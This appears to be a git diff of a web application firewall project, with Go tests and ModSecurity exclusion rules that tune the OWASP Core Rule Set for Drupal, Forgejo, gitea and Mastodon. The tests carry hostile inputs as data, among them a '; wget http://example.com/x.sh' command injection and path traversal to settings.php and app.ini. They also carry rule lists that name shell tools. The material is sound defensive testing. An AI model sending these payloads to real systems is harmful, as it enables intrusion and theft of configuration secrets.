|
||||||
for _, field := range []string{
|
for _, field := range []string{
|
||||||
`"title":"` + attack + `"`,
|
`"title":"` + attack + `"`,
|
||||||
`"body":{"value":"` + attack + `"}`,
|
`"body":{"value":"` + attack + `"}`,
|
||||||
@@ -163,11 +153,7 @@ func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
r := request{
|
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
||||||
http.MethodPatch,
|
|
||||||
"/node/2?_format=json",
|
|
||||||
[]string{jsonBody},
|
|
||||||
}
|
|
||||||
body := `{"title":[{"value":"` + attack + `"}]}`
|
body := `{"title":[{"value":"` + attack + `"}]}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -212,25 +198,14 @@ func TestDrupalPasswordFieldsPass(t *testing.T) {
|
|||||||
wantPasswordFieldsPass(t, []passwordFields{
|
wantPasswordFieldsPass(t, []passwordFields{
|
||||||
{drupalRegister, formData, pass},
|
{drupalRegister, formData, pass},
|
||||||
{"/fr/user/register", formData, pass},
|
{"/fr/user/register", formData, pass},
|
||||||
{
|
{"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
|
||||||
"/user/1/edit",
|
|
||||||
formData,
|
|
||||||
[]string{"current_pass", pass[0], pass[1]},
|
|
||||||
},
|
|
||||||
{"/admin/people/create", formData, pass},
|
{"/admin/people/create", formData, pass},
|
||||||
{drupalJSONRegister, jsonBody, []string{value}},
|
{drupalJSONRegister, jsonBody, []string{value}},
|
||||||
{drupalJSONRegister, jsonBody, []string{"pass.value"}},
|
{drupalJSONRegister, jsonBody, []string{"pass.value"}},
|
||||||
{
|
{"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
|
||||||
"/user/1?_format=json",
|
|
||||||
jsonBody,
|
|
||||||
[]string{value, "pass.0.existing"},
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
|
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
|
||||||
[]string{
|
[]string{"data.attributes.pass.value", "data.attributes.pass.existing"},
|
||||||
"data.attributes.pass.value",
|
|
||||||
"data.attributes.pass.existing",
|
|
||||||
},
|
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -247,11 +222,7 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
|||||||
`../../sites/default/settings.php`,
|
`../../sites/default/settings.php`,
|
||||||
} {
|
} {
|
||||||
for _, field := range []string{"name", "mail"} {
|
for _, field := range []string{"name", "mail"} {
|
||||||
r := request{
|
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||||
http.MethodPost,
|
|
||||||
drupalJSONPasswordReset,
|
|
||||||
[]string{jsonBody},
|
|
||||||
}
|
|
||||||
body := `{"` + field + `":"` + attack + `"}`
|
body := `{"` + field + `":"` + attack + `"}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -270,23 +241,12 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
|||||||
{"ls -la", 932250},
|
{"ls -la", 932250},
|
||||||
{".htaccess@example.com", 930120},
|
{".htaccess@example.com", 930120},
|
||||||
} {
|
} {
|
||||||
r := request{
|
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||||
http.MethodPost,
|
|
||||||
drupalJSONPasswordReset,
|
|
||||||
[]string{jsonBody},
|
|
||||||
}
|
|
||||||
body := `{"mail":"` + kept.value + `"}`
|
body := `{"mail":"` + kept.value + `"}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
if got.Score < drupalThreshold ||
|
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
|
||||||
!slices.Contains(got.RuleIDs, kept.rule) {
|
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
|
||||||
t.Errorf(
|
|
||||||
"POST %s %s: %+v, want %d among them",
|
|
||||||
r.target,
|
|
||||||
body,
|
|
||||||
got,
|
|
||||||
kept.rule,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -357,35 +317,10 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
|
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
|
||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
t.Errorf(
|
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
|
||||||
"POST %s %s let through: %+v",
|
|
||||||
r.target,
|
|
||||||
sent.field,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// An address keeps 932250, which refuses ls -la.
|
|
||||||
r := request{http.MethodPost, drupalEditAccount, []string{formData}}
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, "mail=ls%20-la")
|
|
||||||
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
|
|
||||||
t.Errorf(
|
|
||||||
"POST %s mail=ls%%20-la: %+v, want 932250 among them",
|
|
||||||
r.target,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields is the JSON half
|
|
||||||
// of TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields.
|
|
||||||
func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
for _, field := range []string{
|
for _, field := range []string{
|
||||||
`"title":"; wget http://example.com/x.sh"`,
|
`"title":"; wget http://example.com/x.sh"`,
|
||||||
`"subject":"; wget http://example.com/x.sh"`,
|
`"subject":"; wget http://example.com/x.sh"`,
|
||||||
@@ -407,11 +342,7 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
r := request{
|
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
||||||
http.MethodPatch,
|
|
||||||
"/node/2?_format=json",
|
|
||||||
[]string{jsonBody},
|
|
||||||
}
|
|
||||||
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
|
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -426,6 +357,14 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
|
|||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// An address keeps 932250, which refuses ls -la.
|
||||||
|
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
|
||||||
|
|
||||||
|
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
|
||||||
|
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
|
||||||
|
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||||
@@ -449,13 +388,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||||
if got.Score >= drupalThreshold {
|
if got.Score >= drupalThreshold {
|
||||||
t.Errorf(
|
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
||||||
"POST %s %s%s refused: %+v",
|
|
||||||
sent.target,
|
|
||||||
sent.field,
|
|
||||||
value,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -474,11 +407,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|||||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||||
}
|
}
|
||||||
|
|
||||||
r = request{
|
r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
||||||
http.MethodPost,
|
|
||||||
"/fr" + drupalJSONPasswordReset,
|
|
||||||
[]string{jsonBody},
|
|
||||||
}
|
|
||||||
body = `{"name":"` + word + `"}`
|
body = `{"name":"` + word + `"}`
|
||||||
|
|
||||||
got, _ = inspectBody(t, crs, r, body)
|
got, _ = inspectBody(t, crs, r, body)
|
||||||
@@ -488,11 +417,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
||||||
r := request{
|
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
||||||
http.MethodPost,
|
|
||||||
"/fr" + drupalJSONPasswordReset,
|
|
||||||
[]string{jsonBody},
|
|
||||||
}
|
|
||||||
body := `{"mail":"` + address + `"}`
|
body := `{"mail":"` + address + `"}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -558,11 +483,7 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|||||||
{drupalEditAccount, "mail=python3"},
|
{drupalEditAccount, "mail=python3"},
|
||||||
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
|
||||||
} {
|
} {
|
||||||
r := request{
|
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
|
||||||
http.MethodPost,
|
|
||||||
sent.path + "?" + sent.field,
|
|
||||||
[]string{formData},
|
|
||||||
}
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field)
|
got, _ := inspectBody(t, crs, r, sent.field)
|
||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
|
|||||||
@@ -1,117 +0,0 @@
|
|||||||
# The fifteenth change: on Forgejo's paths, some fields skip the rules that
|
|
||||||
# refused ordinary Forgejo requests there. Forgejo is a fork of gitea, and the
|
|
||||||
# eighth change's fixes for gitea apply to its requests too, so this file holds
|
|
||||||
# only what Forgejo sends and gitea does not. Each exclusion runs with the
|
|
||||||
# request, before the rules it switches off, so this file is loaded before the
|
|
||||||
# Core Rule Set's rules. Each comment names a request the rule refused.
|
|
||||||
|
|
||||||
# Forgejo's search of a wiki sends the text searched for in q, which skips
|
|
||||||
# these rules there:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# 932160: /bin/sh
|
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
|
|
||||||
"id:900680,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
|
||||||
|
|
||||||
# Forgejo's search of a repository's code at a branch or a tag sends the text
|
|
||||||
# searched for in q. The search box on a repository's home page sends it there
|
|
||||||
# when Forgejo has no code indexer, as by default. A branch or tag name can
|
|
||||||
# hold a slash, as feat/docker-support does. q skips there the rules it skips
|
|
||||||
# on gitea's search of code (900600 in gitea.conf). Among them, these refused
|
|
||||||
# Forgejo's searches there:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# 932160: /bin/sh
|
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3
|
|
||||||
# Forgejo has no owner named api, so a path under /api/ gets none of this.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/search/(?:branch|tag)/.+$" \
|
|
||||||
"id:900681,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_FILENAME "!@rx ^/api/" \
|
|
||||||
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932140;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=933130;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=934100;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=934110;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=934130;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=941110;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=941390;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=942140;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=944100;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=944110;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
|
||||||
|
|
||||||
# A page opened from the results of that search has the search's address in
|
|
||||||
# Referer, which skips these rules then, as after gitea's searches (900601 in
|
|
||||||
# gitea.conf):
|
|
||||||
# 941110: <script>
|
|
||||||
# 941120: onClick={
|
|
||||||
# 941160: <img src=
|
|
||||||
# 942100: LIKE '%foo%'
|
|
||||||
# 944100: java.lang.Runtime
|
|
||||||
# A path under /api/ is left out here too.
|
|
||||||
SecRule REQUEST_HEADERS:Referer \
|
|
||||||
"@rx ^https?://[^/]+/[^/]+/[^/]+/search/(?:branch|tag)/[^?]+\?" \
|
|
||||||
"id:900684,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/" \
|
|
||||||
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
|
|
||||||
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
|
|
||||||
|
|
||||||
# Forgejo's search of a repository's releases, on its page and in the API,
|
|
||||||
# matches q against each release's title and tag. A tag name can hold a slash.
|
|
||||||
# q skips these rules there:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# 932160: /bin/sh
|
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3
|
|
||||||
# Forgejo has no owner named api, so /api/v1/releases is not one.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/releases$" \
|
|
||||||
"id:900682,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/releases$" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
|
||||||
|
|
||||||
# The API's search of a job's log sends the text searched for in q, which
|
|
||||||
# skips these rules there:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3
|
|
||||||
SecRule REQUEST_FILENAME \
|
|
||||||
"@rx ^/api/v1/repos/[^/]+/[^/]+/actions/jobs/[0-9]+/logs$" \
|
|
||||||
"id:900683,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
|
||||||
@@ -1,115 +0,0 @@
|
|||||||
package coreruleset_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"net/http"
|
|
||||||
"slices"
|
|
||||||
"testing"
|
|
||||||
)
|
|
||||||
|
|
||||||
// forgejoSearches are Forgejo's searches whose q skips some rules: those of
|
|
||||||
// a wiki, of releases and of a job's log, from the fifteenth change, and the
|
|
||||||
// searches for a name, from the eighth. The search of code at a branch or tag
|
|
||||||
// is not one of them: there, as on gitea's search of code, q lets these
|
|
||||||
// attacks through.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var forgejoSearches = []string{
|
|
||||||
"/alice/tools/wiki/search",
|
|
||||||
"/alice/tools/releases",
|
|
||||||
"/api/v1/repos/alice/tools/releases",
|
|
||||||
"/api/v1/repos/alice/tools/actions/jobs/1/logs",
|
|
||||||
"/explore/repos",
|
|
||||||
"/explore/users",
|
|
||||||
"/alice/tools/branches",
|
|
||||||
"/alice/-/packages",
|
|
||||||
"/api/v1/packages/alice",
|
|
||||||
"/alice",
|
|
||||||
}
|
|
||||||
|
|
||||||
// forgejoAttacks are an SQL injection, a path traversal, a script injection
|
|
||||||
// and a shell command after a ";", as query values.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var forgejoAttacks = []string{
|
|
||||||
sqlInjection, "..%2Fcustom%2Fconf%2Fapp.ini", scriptInjection, commandInjection,
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
|
||||||
|
|
||||||
for _, path := range forgejoSearches {
|
|
||||||
for _, attack := range forgejoAttacks {
|
|
||||||
if got := inspect(t, defaults, get(path+"?q="+attack)); got.Score < threshold {
|
|
||||||
t.Errorf("GET %s?q=%s let through: %+v", path, attack, got)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The same field in a form data body.
|
|
||||||
r := request{http.MethodPost, path, []string{formData}}
|
|
||||||
if got, _ := inspectBody(t, bodies, r, "q="+attack); got.Score < threshold {
|
|
||||||
t.Errorf("POST %s q=%s let through: %+v", path, attack, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
// /bin/sh and the hard values, which q lets through on the searches of
|
|
||||||
// the fifteenth change and on those of branches and packages, stay
|
|
||||||
// refused in q on paths near them and in another field on them.
|
|
||||||
// /alice/wiki/search would be the code search of a repository named
|
|
||||||
// wiki, where the eighth change lets q through. Forgejo has no owner
|
|
||||||
// named api, so the paths under /api/ here are not searches.
|
|
||||||
for _, target := range []string{
|
|
||||||
"/alice/tools/wiki/Home?q=",
|
|
||||||
"/alice/tools/wiki/search/x?q=",
|
|
||||||
"/api/wiki/search?q=",
|
|
||||||
"/alice/tools/wiki/search?other=",
|
|
||||||
"/alice/tools/search/branch?q=",
|
|
||||||
"/alice/tools/search/commit/0123abc?q=",
|
|
||||||
"/alice/tools/src/branch/main?q=",
|
|
||||||
"/api/tools/search/branch/main?q=",
|
|
||||||
"/alice/tools/search/branch/main?other=",
|
|
||||||
"/alice/tools/releases/tag/v1.0?q=",
|
|
||||||
"/alice/tools/releases/latest?q=",
|
|
||||||
"/api/v1/releases?q=",
|
|
||||||
"/alice/tools/releases?other=",
|
|
||||||
"/api/v1/repos/alice/tools/actions/jobs/1?q=",
|
|
||||||
"/api/v1/repos/alice/tools/actions/runs/1/logs?q=",
|
|
||||||
"/alice/tools/actions/runs/1/jobs/0/logs?q=",
|
|
||||||
"/api/v1/repos/alice/tools/actions/jobs/1/logs?other=",
|
|
||||||
"/alice/tools/branches/x?q=",
|
|
||||||
"/alice/-/packages/npm/x?q=",
|
|
||||||
"/alice/tools/branches?other=",
|
|
||||||
} {
|
|
||||||
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
|
|
||||||
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
|
||||||
t.Errorf("%s%s let through: %+v", target, value, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Referer keeps its rules on a page opened from a path near the code
|
|
||||||
// search at a branch or tag.
|
|
||||||
for _, path := range []string{
|
|
||||||
"/alice/tools/search/branch",
|
|
||||||
"/alice/tools/search/commit/0123abc",
|
|
||||||
"/api/tools/search/branch/main",
|
|
||||||
} {
|
|
||||||
for _, attack := range []string{scriptTag, injection} {
|
|
||||||
referer := "Referer: http://example.com" + path + "?q=" + attack
|
|
||||||
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
|
|
||||||
t.Errorf("%s let through: %+v", referer, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -102,67 +102,35 @@ SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
|||||||
# name in q, which skips these rules there:
|
# name in q, which skips these rules there:
|
||||||
# 930120: .profile
|
# 930120: .profile
|
||||||
# 932120: powershell-scripts
|
# 932120: powershell-scripts
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3-app
|
# 932260: python3-app
|
||||||
# 944130: org.apache.commons.logging
|
# 944130: org.apache.commons.logging
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
||||||
[^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search|\
|
[^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search)$" \
|
||||||
api/v1/packages/[^/]+)$" \
|
|
||||||
"id:900602,phase:1,pass,nolog,\
|
"id:900602,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||||
|
|
||||||
# A branch or package name can hold a slash, as feat/docker-support and npm's
|
|
||||||
# @scope/name do. So q on a repository's branches page and on an owner's
|
|
||||||
# packages page also skips this rule:
|
|
||||||
# 932160: /bin/sh
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/-/packages|[^/]+/[^/]+/branches)$" \
|
|
||||||
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
|
|
||||||
|
|
||||||
# gitea's other searches for a name send it in q too, which skips only these
|
# gitea's other searches for a name send it in q too, which skips only these
|
||||||
# rules there:
|
# rules there:
|
||||||
# 930120: .profile
|
# 930120: .profile
|
||||||
# 932120: powershell-scripts
|
# 932120: powershell-scripts
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3-app
|
# 932260: python3-app
|
||||||
# The searches:
|
# The searches:
|
||||||
# - the dashboard's filter of repositories;
|
# - the dashboard's filter of repositories;
|
||||||
|
# - the repositories on a user's or an organisation's page, whose path has
|
||||||
|
# one segment;
|
||||||
# - the author filter of the issue and pull request lists;
|
# - the author filter of the issue and pull request lists;
|
||||||
# - the lists of users and organisations, and the API's search for users.
|
# - the lists of users and organisations, and the API's search for users.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+|repo/search|\
|
||||||
explore/(?:users|organizations)|api/v1/users/search|\
|
explore/(?:users|organizations)|api/v1/users/search|\
|
||||||
[^/]+/[^/]+/(?:issues|pulls)/posters)$" \
|
[^/]+/[^/]+/(?:issues|pulls)/posters)$" \
|
||||||
"id:900603,phase:1,pass,nolog,\
|
"id:900603,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
# The repositories on a user's or an organisation's page are searched with q
|
|
||||||
# too. Their path has one segment, so q skips these rules on every path of one
|
|
||||||
# segment, other apps' pages such as /index.php included:
|
|
||||||
# 930120: .profile
|
|
||||||
# 932120: powershell-scripts
|
|
||||||
# 932260: python3-app
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+$" \
|
|
||||||
"id:900604,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
|
||||||
|
|
||||||
# On those pages q skips 932250 too, which refused ls -la, but only on a path
|
|
||||||
# made of the characters a user's or an organisation's name may hold. Those are
|
|
||||||
# letters, digits, -, _ and dots, the first a letter or digit, so
|
|
||||||
# /login.jsp;jsessionid=abc keeps 932250. A path that ends in a server-side
|
|
||||||
# script's extension keeps it too, such as /index.php or /search.cgi.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[0-9A-Za-z][-.\w]*$" \
|
|
||||||
"id:900606,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_FILENAME "!@rx \.(?:php|phtml|php5|cgi|pl|py|asp|aspx|jsp)$" \
|
|
||||||
"t:lowercase,ctl:ruleRemoveTargetById=932250;ARGS:q"
|
|
||||||
|
|
||||||
# These requests name a file in the path, which skips these rules there:
|
# These requests name a file in the path, which skips these rules there:
|
||||||
# 920500: notes.txt~
|
# 920500: notes.txt~
|
||||||
# 934100: process.env.d.ts
|
# 934100: process.env.d.ts
|
||||||
|
|||||||
@@ -106,58 +106,26 @@ var mastodonFormFields = []mastodonBodyField{
|
|||||||
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
|
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
|
||||||
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
|
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
|
||||||
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
|
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
|
||||||
{
|
{http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="},
|
||||||
http.MethodPost,
|
{http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="},
|
||||||
"/admin/domain_blocks",
|
|
||||||
"domain_block[private_comment]=",
|
|
||||||
